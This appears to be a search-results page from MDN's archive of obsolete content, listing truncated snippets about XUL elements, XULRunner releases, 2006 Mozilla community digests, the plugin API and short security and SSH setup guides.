inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
statusbar - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed...
<statusbarpanel> - Archive of obsolete content
e: menupopup > menuitem, menupopup > menu { max-width: none; } image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. properties image type: image url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. inherited properties align, , allowevents, , boxobject, builder, , , ,...
stringbundleset - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
tabpanel - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
tabs - Archive of obsolete content
t was selected) when it is changed either via this property, the selectedindex property, or changed by the user. tabbox type: tabbox element returns the tabbox element that contains the tabs. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
template - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
textnode - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
titlebar - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, da...
toolbarbutton - Archive of obsolete content
the user selects one the buttons, the others in the group are unchecked. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. oncommand type: script code this event handler is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. open type: boolean for the menu type buttons, the open attribute is ...
toolbargrippy - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, c...
toolbaritem - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
toolbarpalette - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
toolbarseparator - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed,...
toolbarset - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu...
toolbarspacer - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collaps...
toolbarspring - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed...
tooltip - Archive of obsolete content
menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } default type: boolean if true, the tooltip is used as the default popup for displaying tooltips in the window. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. noautohide type: boolean if this attribute is set to false or omitted, the tooltip will automatically disappear after a few seconds. if this attribute is set to true, this will not happen and the tooltip will only hide when the user moves the mouse to another elemen...
treechildren - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
treecols - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collaps...
treerow - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
treeseparator - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
triple - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
vbox - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
where - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-edi
table, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, me...
wizard - Archive of obsolete content
several steps contained on several pages. this element provides the header and buttons along the bottom, and also handles navigation between the pages. each page should be constructed using a wizardpage. the pages are displayed in the order that they are placed in the wizard, unless you use the next and pageid attributes on the pages to change the sequence. the wizard will rendered in a manner sui
table for the user's selected theme and platform. in newer versions of mozilla, a statusbar may be placed directly inside the wizard element which will be shared among all pages. more information is available in the xul tutorial. attributes firstpage, lastpage, pagestep, title, windowtype properties canadvance, canrewind, currentpage, onfirstpage, onlastpage, pagecount, pageindex, pagestep, t...
wizardpage - Archive of obsolete content
hould be placed inside the wizardpage element. more information is available in the xul tutorial. attributes description, label, next, pageid properties next, pageid attributes description type: string descriptive text to appear in addition to the dialog title. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. next type: id set to the pageid of the next wizardpage after this one. when set, the page with this pageid is displayed when the next button is pressed. this can be used to create wizards that do not have a linear sequence. if one of the pages has a next attribute, al...
XUL - Archive of obsolete content
de a detailed guide on xul templates, which is a means of generating content from a datasource. drag and drop how to perform drag and drop operations. overlays overlays are used to describe extra content for the ui. they provide a powerful mechanism for extending and customizing existing xul applications. xul periodic
table this collection of xul demos used to be available as a web page, but can no longer be viewed in firefox since support for remote xul was disabled. there is a xulrunner application containing the xul periodic
table which can be opened with gecko based browsers. you can get it here. see: using firefox 3 to run xulrunner applications for instructions on ru...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications. xulrunner 1.8.0.4 is now available as a security/stability update; all users should install this new version. system requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. ...
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
it replaces version 1.8.0.1; all users should upgrade. it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications. as of december 2008,xulrunner 1.9.0.4 is available in the "gecko 1.9.0" branch upon which firefox 3 is based. system requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. ...
XULRunner 1.9.1 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications. xulrunner 1.9.1.x is built from the same source code snapshot as firefox 3.5.x. current version the current version of xulrunner is 1.9.1.19, matching firefox 3.5.19 detailed release notes can be found here. system requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. ...
XULRunner 1.9.2 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications. xulrunner 1.9.2.x is built from the same source code snapshot as firefox 3.6.x. current version the current version of xulrunner 1.9.2 is 3.6.26, matching firefox 3.6.26 detailed release notes can be found here. system requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. ...
XULRunner 1.9 Release Notes - Archive of obsolete content
it replaces version 1.8.0.4; all users should upgrade. it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications. xulrunner 1.9 is built from the same source code snapshot as firefox 3. current version the current version of xulrunner is 1.9.0.17, matching firefox 3.0.17 detailed release notes can be found here. system requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. ...
XULRunner 2.0 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications. xulrunner 2.0.x is built from the same source code snapshot as firefox 4.0.x. current version the current version of xulrunner 2.0 is 2.0, matching firefox 4.0 detailed release notes can be found here. system requirements before installing, make sure your computer meets the system requirements (nb: that page will change for firefox 4 shipping). the system requirements for xulrunner are the same as the system requirements for firefox. ...
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
a xulrunner application has no installer by default; however, these instructions can help you to easily create a windows installer with inno setup. the tutorial here uses the my app example from the article getting started with xulrunner. step 1: installing inno setup download inno setup from inno setup downloads. if you only want to compile the installer, install the s
table release. if you want to edit scripts, you should get the quickstart pack (which includes istool, the script editor. however, if you don't get the quickstart pack, you can later get istool from inno setup third-party files. step 2: creating the application to make your application standalone, deploy your application according to the deploying xulrunner 1.8 article. my app's example follows. myapp/ appli...
Make your xulrunner app match the system locale - Archive of obsolete content
also, this may not be the proper way to do this and it may not work for you in all cases. please update if there are more correct ways to do this. the first step is to get the code we're about to write to run before any of the locale specific resources are loaded. democracy does this by creating a command line handler called democracyclh, and then creating a new object of our pybridge component. the code described lives in the pybridge component's onstartup method which gets called automatically. ...
XULRunner/Old Releases - Archive of obsolete content
1.9.2.x xulrunner releases these builds are built from the s
table 1.9.2 branch. nightly builds of xulrunner 1.9.0.x these builds are built from the s
table 1.9 branch. community contributed builds of xulrunner 1.8.1.3 these builds are contributed by the eclipse atf community and are intended for embedding. the windows and linux builds will run normal xulrunner applications, but the mac build uses cocoa widgets and will not run xulrunner applications. xulrunner 1.8.0.4 this is the last official s
table developer preview release from the 1.8.0 branch. it has known security holes and should not be used in applications that deal with public web content. ...
XULRunner tips - Archive of obsolete content
you can also replace xulrunner.ico in the same directory to change xulrunner's icon to the icon of your application. with a precompiled xulrunner: use xulrunner-stub.exe to start your application but rename it into myapplication.exe. with xulrunner 1.9 this will make the desired name appear in the task bar (not with xulrunner 1.8 however). your application's icon can also be added to this execu
table with a tool like resource hacker. to change icon of specific window, see window icons. reading command line arguments see chrome: command line and xulrunner:commandline. command line arguments are handled via nsicommandlinehandler. preferences needed for file download dialogs to use the unknown-content-type and file-downloads dialogs from a <browser> element, you need to add the following pr...
XULRunner - Archive of obsolete content
from ftp.mozilla.org. firefox (from version 3) ships with a private xulrunner package, which can run any compatible xulrunner application using the -app switch: firefox -app application.ini is equivalent to xulrunner -app application.ini older builds are also available. overview development plan what xulrunner provides xulrunner faq nightly builds: uns
table-trunk documentation getting started with xulrunner short tutorial on building desktop applications with xulrunner. xul tutorial once you have a working xulrunner application, use the xul tutorial to expand it into a fantastic xul application. xulrunner tips a collection of tips for working with xulrunner. deploying xulrunner an introduction ...
calIFileType - Archive of obsolete content
summary the califiletype interface provides information about a specific file type. califiletype is used in caliimporter and caliexporter to determine which file types are supported for import/export. status: unfrozen. defined in calendar/base/public/caliimportexport.idl interface code [scrip
table, uuid(efef8333-e995-4f45-bdf7-bfcabbd9793e)] interface califiletype : nsisupports { readonly attribute astring defaultextension; readonly attribute astring extensionfilter; readonly attribute astring description; }; attributes defaultextension the default extension that should be associated with files of this type. extensionfilter the extension filter to use in the filepicker's filter list. separate multiple extensions with semicolon and space. description the description to show to the...
2006-11-10 - Archive of obsolete content
enth international world wide web conference (www2007), in banff, canada. important dates: technical submissions: monday 19th feb 2007 technical paper notification: friday 16th march 2007 communication submissions: monday 26th march 2007 communication paper notification: friday 06th april 2007 all camera ready due: monday 16th april 2007 conference dates: monday 07th and tuesday 08th may 2007 no
table keynotes representatives from w3c, ibm, university of manchester, uk and oxford brookes university, uk. read more... discussions firefox: an open source accessibility success story aaron leventhal of ibm recently published a new article praising firefox accessibility. the article goes into the history of accessibility in firefox, details ibm's involvement and addresses some ajax accessibility c...
2006-11-22 - Archive of obsolete content
himself and aaron leventhal for "improved switch access to firefox". he expressed his gratitude and thanks everyone for being supportive during and after the summit. click here for more details. idispatch support for jaws scripting needed aaron leventhal stated that currently there is no idispatch support for iaccessible's in mozilla. if anyone has experience with these issues, and is comfor
table helping out in the mozilla/accessible module, would you please take a look at https://bugzilla.mozilla.org/show_bug.cgi?id=166994 he stated that he almost had it working a couple of years ago. the bug has a very old patch which will no longer be easy to apply but may provide clues as to where they are going wrong. for more information click here. discussions image labelling for blind help mac...
2006-10-26 - Archive of obsolete content
g for thoughts about having bookmarks manager's import wizard import from backups in the bookmarkbackups folder. no repiles yet. fx 1.5.0.x (linux) not building since 20-oct-2006 17:45 pdt? tony inquires why tinderbox is showing that the fx 1.5.0.x (linux) has failed since october 20. gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final execu
table." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker. (what it is, how to use it) cross-post-and followup fx2 announcment to support-firefox request for when the announcement about firefox 2's release to be posted on the mozilla.dev.apps.firefox newsgroup. firefox killer features suggestion john describes his suggestions for "killer fea...
2006-10-27 - Archive of obsolete content
g for thoughts about having bookmarks manager's import wizard import from backups in the bookmarkbackups folder. no repiles yet. fx 1.5.0.x (linux) not building since 20-oct-2006 17:45 pdt? tony inquires why tinderbox is showing that the fx 1.5.0.x (linux) has failed since october 20. gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final execu
table." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker. (what it is, how to use it) cross-post-and followup fx2 announcment to support-firefox request for when the announcement about firefox 2's release to be posted on the mozilla.dev.apps.firefox newsgroup. firefox killer features suggestion john describes his suggestions for "killer fea...
2006-10-27 - Archive of obsolete content
17:45 pdt october 22nd: gavin sharp answered a question that was posted by tony mechelynck. the question tony posted was that he wanted to know what was wrong with fx 1.5.0.x (linux) tinderbox because it has been failing since october 22 at around 5:45 pm pdt. gavin responded to tony's posting saying that the log file shows a "no space left on device" error when trying to link the final execu
table. on the same day tony replied to gavin's posting stating the possible choices to solve the problem. these were the following choices stated: search the filesystem for unneeded files delete or archive them, add a hard disk, move all or part of the concerned filesystem there move that tinderbox to a different machine with more empty disk space on october 23rd: nick responded to gavin a...
2006-11-10 - Archive of obsolete content
test firefox 2 rc3 and tried to build it on fc3 with the following options: ./configure --enable-application=browser --prefix=$prefix --enable-extensions=default,spatialnavigation then he tried running "make" and received the following error: /usr/bin/ld: testtarray.o(.text+0x2237): unresolvable relocation against symbol `nstarray_base::semptyhdr' /usr/bin/ld: final link failed: nonrepresen
table section on output collect2: ld returned 1 exit status gmake[3]: *** [testtarray] error 1 gmake[3]: leaving directory `/usr/mozilla2/src/mozilla/xpcom/tests' gmake[2]: *** [libs] error 2 gmake[2]: leaving directory `/usr/mozilla2/src/mozilla/xpcom' gmake[1]: *** [tier_2] error 2 gmake[1]: leaving directory `/usr/mozilla2/src/mozilla' make: *** [default] error 2 he is not sure what is wrong with ...
2006-11-3 - Archive of obsolete content
ozillatranslator 5.13 is available here. opening l10n repository on mozilla_1_8_branch for approved check-ins mozilla_1_8_branch is opened for approved check-ins. check-ins are limited to bug fixes filed in bugzilla and should mention their bug, describe the change, and who approved the change. seamonkey 1.0.6 and 1.1 beta upcoming the seamonkey projet is planning a security release of the s
table 1.0 series as well as a beta for the 1.1 version, all possibly in the next days or week. community is advised to perform tests on both builds to ensure they work flawlessly. 1.0.6 build is located here, and 1.1 beta build is located here. discussions last check-ins on sun-calendar-event-dialog.* files last check-ins on sun-calendar-event-dialog.* files from 50 to 100 locales how to get ...
2006-09-29 - Archive of obsolete content
announcements litmus down because of hardware failure - we are working to fix it - the hardware that litmus runs on failed over the weekend, so litmus is still down. zach lipton is working to get us back in working order. litmus should be back up and running soon. discussions extension based testing - someone is in the process of writing a small extension that tests firefox's help in terms of
table-of-contents and search looking for firefox triagers to evaluate a triage tool - a phd student is working on a way to assist triagers. he is looking for an approach to recommend to whom a bug report should be assigned (i.e. which developer(s) has/have the correct expertise for a particular bug report). he has a working web-based tool called sibyl for providing both developer and component recomm...
2006-12-01 - Archive of obsolete content
dermonkey a user asks if there's a method of manually deleting an object in spidermonkey before garbage collector deletes it. peter wilson's reply was to add a method that does the deleting with a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select * from my
table where ..."); // use the result data - (native implementation function) mydbase.close() spidermonkey for server side inquiry about why javascript hasn't caught on for general server-side scripting. peter wilson lists some important comparisons between spidermonkey and php. he states that javascript is powerful server-side scripting but it lacks in popularity since its only supported by netscape...
2006-10-27 - Archive of obsolete content
help for getting html element width info discussion on retrieving width information on html elements when using the gecko engine. it was determined that the offsetwidth property can be used to get this value. ...
Browser-side plug-in API - Archive of obsolete content
l of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredic
table results. npn_destroystream npn_forceredraw npn_getauthenticationinfo npn_geturl npn_geturlnotify npn_getvalue npn_getvalueforurl npn_invalidaterect npn_invalidateregion npn_memalloc npn_memflush npn_memfree npn_newstream npn_pluginthreadasynccall npn_poppopupsenabledstate npn_posturl npn_posturlnotify npn_pushpopupsenabledstate npn_reloadplugins npn_requestread npn_setvalue ...
NPN_SetValue - Archive of obsolete content
tance pointer to the plugin instance setting the variable. variable values the function can set: nppvpluginwindowbool: sets windowed/windowless mode for plugin display; true=windowed, false=windowless nppvplugintransparentbool: sets transparent mode for display of a plugin; true=transparent, false=opaque nppvjavaclass nppvpluginwindowsize nppvplugintimerinterval nppvpluginscrip
tableinstance nppvpluginscrip
tableiid nppvjavascriptpushcallerbool: specifies whether you are pushing or popping the jscontext off the stack nppvpluginkeeplibraryinmemory: tells browser that the plugin dll should live longer than usual nppvpluginneedsxembed nppvpluginscrip
tablenpobject nppvformvalue nppvplugindrawingmodel value the value of the specified variable to be set. ret...
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
into your own directory and modify the windows registry to let firefox know where to find the plugin. the downside to this method is that once the plugin is installed, it might be difficult for users to upgrade, uninstall, or disable the plugin. as of firefox 3 (and any gecko 1.9 based application) the use of install.js scripts is no longer supported and plugins must either be shipped as an execu
table installer or in a bundle as described here. bundle structure toolkit bundles can be used for all add-ons including extensions, themes and plugins. plugin packages should only need to package a small set of files in the following structure in the xpi file: install.rdf plugins/ pluginlib.dll plugintypes.xpt the install.rdf file contains an install manifest that describes the plugin to the ...
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
or and the plugin will be ignored. it's good practice to do this in case people try to install your plugin for older versions of the browser that don't support xembed functionality. this is an incomplete example of what a piece of code might look like that tries to check for the proper mozilla version. this would be included in your np_initialize function. nperror np_initialize(npnetscapefuncs* ns
table, nppluginfuncs* pluginfuncs) { nperror err = nperr_no_error; prbool supportsxembed = pr_false; npntoolkittype toolkit = 0; [ code that copies all of the function
tables and does ] [ other standard checks ] /* * make sure that the browser supports functionality we care * about. */ err = callnpn_getvalueproc(gnetscapefuncs...
Getting Started - Archive of obsolete content
use this tutorial? this tutorial is mostly meant for beginners to rss (i.e., those with no or very little prior rss experience). however, those experienced with rss may also find this useful as an aid in filling in any missing information about rss that they were not aware of, or as a refresher guide. this tutorial assumes that you have some experience with html (or xml) and that you are comfor
table with the basics ofmarkup . in other words, code like this doesn't bother you: this is some markup with <b>bold</b> tags. if you are comfor
table with that, you should have no problem learning rss. note: if you are not a web developer and do not want to become one, then this tutorial is not for you. you need to be comfor
table with creatingmarkup to be able to effectively use this tutorial. w...
Security Controls - Archive of obsolete content
re primarily implemented and executed by the system through the system's hardware, software, or firmware. all three types of controls are necessary for robust security. for example, a security policy is a management control, but its security requirements are implemented by people (operational controls) and systems (technical controls). think of phishing attacks. an organization may have an accep
table use policy that specifies the conduct of users, including not visiting malicious websites. security controls to help thwart phishing, besides the management control of the accep
table use policy itself, include operational controls, such as training users not to fall for phishing scams, and technical controls that monitor emails and web site usage for signs of phishing activity. a common problem ...
Threats - Archive of obsolete content
ommission, a failure of organization-controlled hardware or software, or other failure beyond the control of the organization. a threat event is an event or situation initiated or caused by a threat source that has the potential for causing adverse impact. many threats against data and resources are possible because of mistakes—either bugs in operating system and applications that create exploi
table vulnerabilities, or errors made by end users and administrators. network traffic typically passes through intermediate computers, such as routers, or is carried over unsecured networks, such as wireless hotspots. because of this, it can be intercepted by a third party. threats against network traffic include the following: eavesdropping. information remains intact, but its privacy is compro...
Security - Archive of obsolete content
." information on digital signatures is available from "digital signatures." introduction to sslthis document introduces the secure sockets layer (ssl) protocol. ssl has been universally accepted on the world wide web for authenticated and encrypted communication between clients and servers.nspr release engineering guidethis paper is for engineers performing formal release for the netscape por
table runtime (nspr) across all platforms.ssl and tlsthe secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers. both client and server authentication occur over ssl/tls. ...
Theme changes in Firefox 3 - Archive of obsolete content
refox theme to work properly in firefox 3. note: we could use an article called updating themes for firefox 3 that would serve as a how-to guide for updating themes. if anyone with theming experience would like to write one, please do! browser changes requiring theme updates there are a number of changed and deleted files in the browser that may require you to make changes to your theme. the
table lists both the changed xul file and the theme's corresponding css file that you might need to update. filename css file details changes to the default theme the
table below lists changes made in the default theme for firefox 3; you can use this information as a starting point for figuring out the changes you need to make. all file list all platforms ...
Scratchpad - Archive of obsolete content
in the editor preferences section of the developer tools settings, you can choose to use vim, emacs, or sublime text key bindings instead. to select these, visit about:config, select the setting devtools.editor.keymap, and assign "vim" or "emacs", or "sublime" to that setting. if you do this, the selected bindings will be used for all the devel...
Using SSH to connect to CVS - Archive of obsolete content
rce code page for directions accessing read-only cvs, and our getting write access page for directions on obtaining write access. generating an ssh key first, install ssh. most linux, bsd, and osx distributions come with it installed already. cygwin makes ssh available on windows if you install the openssh package from the net category. if all else fails, openssh is a widely used and highly por
table implementation. the following command should generate a sui
table key pair: ssh-keygen -t dsa this will take a moment, followed by a prompt for a passphrase. once you have entered a passphrase, ssh-keygen will create two files, ~/.ssh/id_dsa and ~/.ssh/id_dsa.pub do not sendid_dsa. do file a server operations bug in bugzilla and attach yourid_dsa.pub to the bug. setting up cvs to use ss...
Using workers in extensions - Archive of obsolete content
hange which stock is being monitored. if there is no data field, the refreshinformation() method is called to fetch the latest information about the stock and pass it back to the main thread. this provides a way for the main thread to specifically request that the worker update the stock information at once. the refreshinformation() method is fairly similar to the previous versions, with two no
table exceptions: if the ticker symbol has not been set yet, an exception is thrown (lines 4-6). when the result is received from xmlhttprequest, instead of immediately updating the displayed information in the status bar, a message is sent to the main thread using the worker's postmessage() method. this is because only the main thread is allowed to access the user interface. the main thread the...
-moz-border-bottom-colors - Archive of obsolete content
